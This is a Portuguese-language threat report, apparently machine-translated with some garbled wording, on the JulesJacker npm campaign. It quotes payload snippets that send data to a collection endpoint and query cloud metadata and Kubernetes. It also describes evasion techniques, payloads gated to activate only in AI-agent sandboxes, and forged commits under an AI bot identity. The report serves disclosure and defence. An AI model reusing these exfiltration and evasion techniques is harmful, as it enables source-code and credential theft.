TL, DR
Um único operador do npm passou seis semanas publicando pacotes falsos de "utilitários" do TypeScript, como por exemplo: ts-form-utils, ts-project-lint e ts-enum-helper.
Embora os pacotes exponham pequenos auxiliares de validação com aparência legítima, a carga útil real é executada na instalação ou na primeira solicitação e realiza a identificação do host, a descoberta da organização do GitHub, a clonagem do repositório e a exfiltração do código-fonte.
O malware tem como alvo específico organizações de alto valor no GitHub, incluindo várias Shopify repositórios, em seguida, arquiva e exfiltra árvores de origem acessíveis para um ponto de extremidade de coleta centralizado.
Como parte do fluxo de trabalho de compromisso, a carga útil commitsa arquivo de volta para repositórios de vítimas enquanto se faz passar pela identidade de codificação autônoma do Google google-labs-jules[bot].
Acompanhamos a campanha — chamada JulesJacker — em vários escopos de editor e pelo menos cinco gerações de payload, incluindo variantes criptografadas e compatíveis com sandbox.
A variante mais recente tem como alvo específico a infraestrutura de análise de malware: ela se ativa somente dentro de ambientes de análise, rouba tokens de contas de serviço de metadados da nuvem e sonda planos de controle do Kubernetes e buckets de armazenamento em nuvem.
O principal indicador de comprometimento (IOC) comum a todas as gerações de payloads é o ponto de extremidade de coleta. aaronstack[.]com/jules-collect.
Gravidade: crítica.
O Ataque: Como Funciona
Todos os pacotes JulesJacker seguem o mesmo modelo. package.json Anuncia um auxiliar TypeScript inofensivo com licença MIT e sem repositório de código-fonte vinculado. index.js exporta algumas funções reais e funcionais — expressões regulares para e-mail, mapas de enumeração, tabelas de regras de lint — para que um desenvolvedor que realmente importe o pacote veja um comportamento plausível. A malícia reside em outro lugar: em um pós-instalação gancho, ou em um bloco na parte inferior de index.js que é executado no momento em que o módulo é necessário.
As cargas úteis evoluíram através de estágios internos claramente numerados (o operador rotula seus próprios eventos de telemetria). sc1-, sc3-, sc4-, e assim por diante), e observar essa evolução é a maneira mais clara de entender a campanha.
Gerações 1–2: reconhecimento e roubo de git-config
Os primeiros pacotes eram simples ladrões de informações. Durante a instalação, eles coletavam variáveis de ambiente, o arquivo hosts da CLI do GitHub e a configuração global do Git (git config --global --list, git remoto -v), e então enviou o pacote via POST para o endpoint da coleção. Isso estabeleceu a assinatura do operador: uma história de fachada de "utilitários de validação de formulário TypeScript", um beacon de saída para um único domínio e uma preferência por credenciais de desenvolvedor em vez de dados do consumidor.
Geração 3: sondagens de escape do hipervisor e do kernel
Uma versão desenvolvida no meio da campanha mudou drasticamente o foco para ataques à infraestrutura. Em vez de roubar configurações, ela executava uma sondagem de reconhecimento. AF_VSOCK soquetes, regiões MMIO virtio, / dev / mem, e sinalizadores de segurança do kernel, e até mesmo tentativas de falhas do kernel desencadeadas por sysrq — comportamento associado a tentativas de escapar de uma máquina virtual ou contêiner. As tags de telemetria (s0-vmm-recon, s1-vmm-vsock-fuzz, s2-vmm-mmio, s3-kernel-probe) tornou a intenção explícita. Esta variante visava claramente a ambientes cloud-sandbox e serverless-runner — o tipo de máquina virtual efêmera que compila e testa código não confiável.
Geração 3 (SC3): o worm de escrita entre repositórios.
O ponto central da campanha tornou-se um ladrão de repositórios que se propagava automaticamente. Durante a instalação, o payload executa uma sequência cronometrada de cinco etapas:
- Estágio 0 (~100 ms): coletar informações sobre o host — nome do host, informações do usuário, identidade do Git.
- Estágio 1 (~3 s): determine a qual organização a vítima pertence, inspecionando git remoto -v, então procure um valor fixo no código ORG_CONFIG acesso à tabela e ao repositório de testes com git ls-remote — roteado através de um proxy SSRF controlado pelo atacante em http://git@192.168.0.1:8080.
- Estágio 2 (~10 s): clone git Para cada repositório acessível na lista de alvos, compacte e compacte a árvore em um arquivo tar.gz, codifique-a em base64 e extraia-a em partes.
- Estágio 3 (~45 s): a “prova de acesso” — clone um repositório gravável, coloque um arquivo chamado SECURITY-POC.md e commit com o autor definido como google-labs-jules[bot] <161369871+google-labs-jules[bot]@users.noreply.github.com> e a tarefa de mensagem: atualizar o cache de dependências e, em seguida, enviar para o branch principal da vítima.
A lista de alvos codificada não é genérica. Ela enumera mais de trinta. Shopify repositórios por nome — Shopify/shopify, Shopify/identidade, Shopify/faturamento, Shopify/cofre, Shopify/segredos, Shopify/infraestrutura, Shopify/.githube muitos outros — juntamente com uma organização de testes, AaronStackBarnes, que o operador parece controlar e usar como alvo de escrita.
Geração 4 (SC4): criptografada e protegida por portão
A variante mais recente, voltada para desenvolvedores, adiciona duas camadas de evasão ao worm SC3.
Primeiro, a carga útil não é mais enviada em texto simples. A lógica real reside em um bloco criptografado com AES-256-CBC. lib/.perf.dat, com o IV em seus primeiros dezesseis bytes. O carregador em index.js reconstrói a chave de descriptografia a partir de fragmentos de string concatenados, descriptografa o blob e o executa com nova função()Até mesmo os nomes dos módulos são divididos para evitar scanners estáticos — exigir('crypt' + 'o'), requer('f' + 's').
Em segundo lugar, é controlado pelo host. Uma variante só descriptografa e executa quando... os.hostname() é igual a devbox or ubuntu-fc-uvm (um padrão do microVM Firecracker) ou contém a substring devboxOutro portão depende da presença de um .jules/ diretório de trabalho:
javascript // only fires when a Jules agent workspace is present post('sc4-jules-dir', { cwd: cwd, jules_cwd: readDir(cwd + '/.jules'), jules_app: readDir('/app/.jules') }); Em outras palavras, a carga útil do SC4 foi projetada para permanecer inativa no laptop de um desenvolvedor comum e ser ativada somente dentro do agente de IA automatizado. ambientes sandbox O operador, na verdade, quer chegar a um acordo.
Ligando o Laboratório: a variante de Infraestrutura de Análise
O pacote mais inovador da campanha, ts-enum-helper, não ataca desenvolvedores ou a Shopify de forma alguma. Seu postinstall.sh Abre com um portão que revela o jogo:
sh # Only run in malysis GKE environment [ -z "$MALYSIS_ANALYSIS_ID" ] && exit 0 EXFIL="https://aaronstack.com/jules-collect" MD="http://metadata.google.internal/computeMetadata/v1" K8S="https://kubernetes.default.svc" O script não faz nada a menos que uma variável de ambiente específica de uma plataforma de análise de malware esteja definida. Quando isso acontece, o payload sabe que está sendo executado dentro do sandbox criado para detonar e estudar pacotes exatamente como este — e contra-ataca.
Primeiro, ele extrai o token OAuth da conta de serviço do GCP do servidor de metadados da instância e o exfiltra. Em seguida, usando esse token, ele varre o Plano de controle do Kubernetes acessível em kubernetes.default.svc:
- Lista ClusterRoleBindings, ClusterRoles e Nodes;
- sonda pods, segredos e configmaps em kube-system, omissão, kube-public, kube-node-leasee o espaço de nomes de análise;
- Emite chamadas SelfSubjectAccessReview para mapear exatamente o que a identidade roubada tem permissão para fazer.
Por fim, ele realiza um ataque de força bruta para descobrir os nomes dos buckets do Google Cloud Storage criados a partir de um ID de projeto GCP codificado (signatário raro-437603-p9) e número do projeto, adivinhando combinações como *-construções, *-artefatose vários málise- prefixos (resultados da análise, pacotes de análise, exames de maláliseTodos os códigos de resposta e seus respectivos corpos são registrados e enviados de volta para o mesmo endereço via POST. jules-coletar ponto final.
Este é um caso raro de um payload da cadeia de suprimentos criado especificamente para atacar a própria infraestrutura dos defensores. A história de cobertura em toda a campanha — fragmentos da qual aparecem dentro dos payloads como comentários que descrevem o comportamento como uma “Prova de Conceito de Pesquisa de Segurança… gravação entre repositórios via token proxy git com escopo ampliado” — é a mesma autojustificativa, independentemente de o alvo em tempo de execução ser um monorepo do Shopify ou o servidor de metadados do cluster de análise.
Cronograma e escopo da migração
JulesJacker não é um ataque isolado. É uma operação contínua que sobreviveu a uma remoção do registro simplesmente mudando de nome.
| Ao | Evento |
|---|---|
| Meados de abril de 2026 | Os primeiros pacotes aparecem sob o escopo do editor original: fachada TS-utility, ambiente e exfiltração de git-config. |
| Início de maio de 2026 | Publicada uma variante de reconhecimento de hipervisor e de escape de kernel. |
| Meados a final de maio de 2026 | O worm SC3, que permite a escrita entre repositórios, aparece juntamente com payloads direcionados ao Shopify e google-labs-jules[bot] Impersonação. O SC4 introduz carregadores criptografados com AES e com controle de acesso pelo host. |
| Final de maio de 2026 | O npm remove o escopo original do editor; os nomes dos pacotes são resolvidos para espaços reservados vazios que armazenam dados de segurança. |
| Mesma semana | O operador migra para um escopo quase idêntico e republica o worm, incluindo a variante de infraestrutura de análise. |
A migração é a parte com a qual os defensores devem se concentrar. A derrubada do primeiro escopo não encerrou a campanha, nem mesmo a desacelerou. O operador já havia criado um escopo paralelo, cujo nome difere do original por apenas um caractere, e continuou publicando na mesma semana. Até o momento desta publicação, o novo escopo ts-form-utils (versões 1.0.0 a 1.1.0), seu ts-project-lint (1.0.0 e 1.1.0), e a versão independente ts-enum-helper (1.0.0) permanecem instaláveis.
Indicadores de compromisso
Todos os indicadores abaixo foram confirmados em relação à fonte do pacote.
| Formato | Indicador | Notas |
|---|---|---|
| Rede (C2) | aaronstack[.]com/jules-collect | Ponto de coleta único em todas as gerações; recebe telemetria JSON e fragmentos de repositório compactados em base64-gzip. |
| Rede (proxy SSRF) | http://git@192.168.0.1:8080 | Interface para um token proxy Git com escopo ampliado, usado para acessar repositórios de organizações de destino. |
| Rede (nuvem) | metadata.google.internal/computeMetadata/v1kubernetes.default.svcstorage.googleapis.com/storage/v1/b | Utilizado exclusivamente pela variante de infraestrutura de análise para roubo de tokens e reconhecimento do plano de controle do Kubernetes. |
| Identidade | google-labs-jules[bot]161369871+google-labs-jules[bot]@users.noreply.github.com | Forjado commit A identidade do autor foi inserida nos ramos principais da linha de produção das vítimas. |
| Envie o | lib/.perf.dat | blob de carga útil criptografado com AES-256-CBC; IV armazenado nos primeiros 16 bytes e chave reconstruída dinamicamente em index.js. |
| Envie o | SECURITY-POC.md | Caiu e committed de volta aos repositórios das vítimas com a mensagem chore: update dependency cache. |
| Envie o | scripts/postinstall.sh | Com portão $MALYSIS_ANALYSIS_ID; identifica a variante direcionada à infraestrutura de análise. |
| Comportamentais | os.hostname() verifica para devbox / ubuntu-fc-uvm | Controle de ambiente em sandbox e com agentes de IA antes da descriptografia e execução da carga útil. |
| Comportamentais | .jules/ e /app/.jules O diretório lê | Direcionamento explícito de ambientes de trabalho de agentes de IA. |
| Comportamentais | sc1-, sc3-, sc4-, s0-vmm-recon | Rótulos de estágio de telemetria definidos pelo operador, úteis para detecção e busca. |
| Alvo na nuvem | rare-signer-437603-p9malysis-* palpites de balde | Identificadores de projeto GCP e padrões de enumeração de buckets de armazenamento incorporados na variante de infraestrutura de análise. |
| Formato da embalagem | Fachada de pacote TS-utility sem campo de repositório | Modelo de campanha consistente: pacotes de utilitários TypeScript falsos com payloads maliciosos incorporados. postinstall hooks ou acrescentado a index.js. |






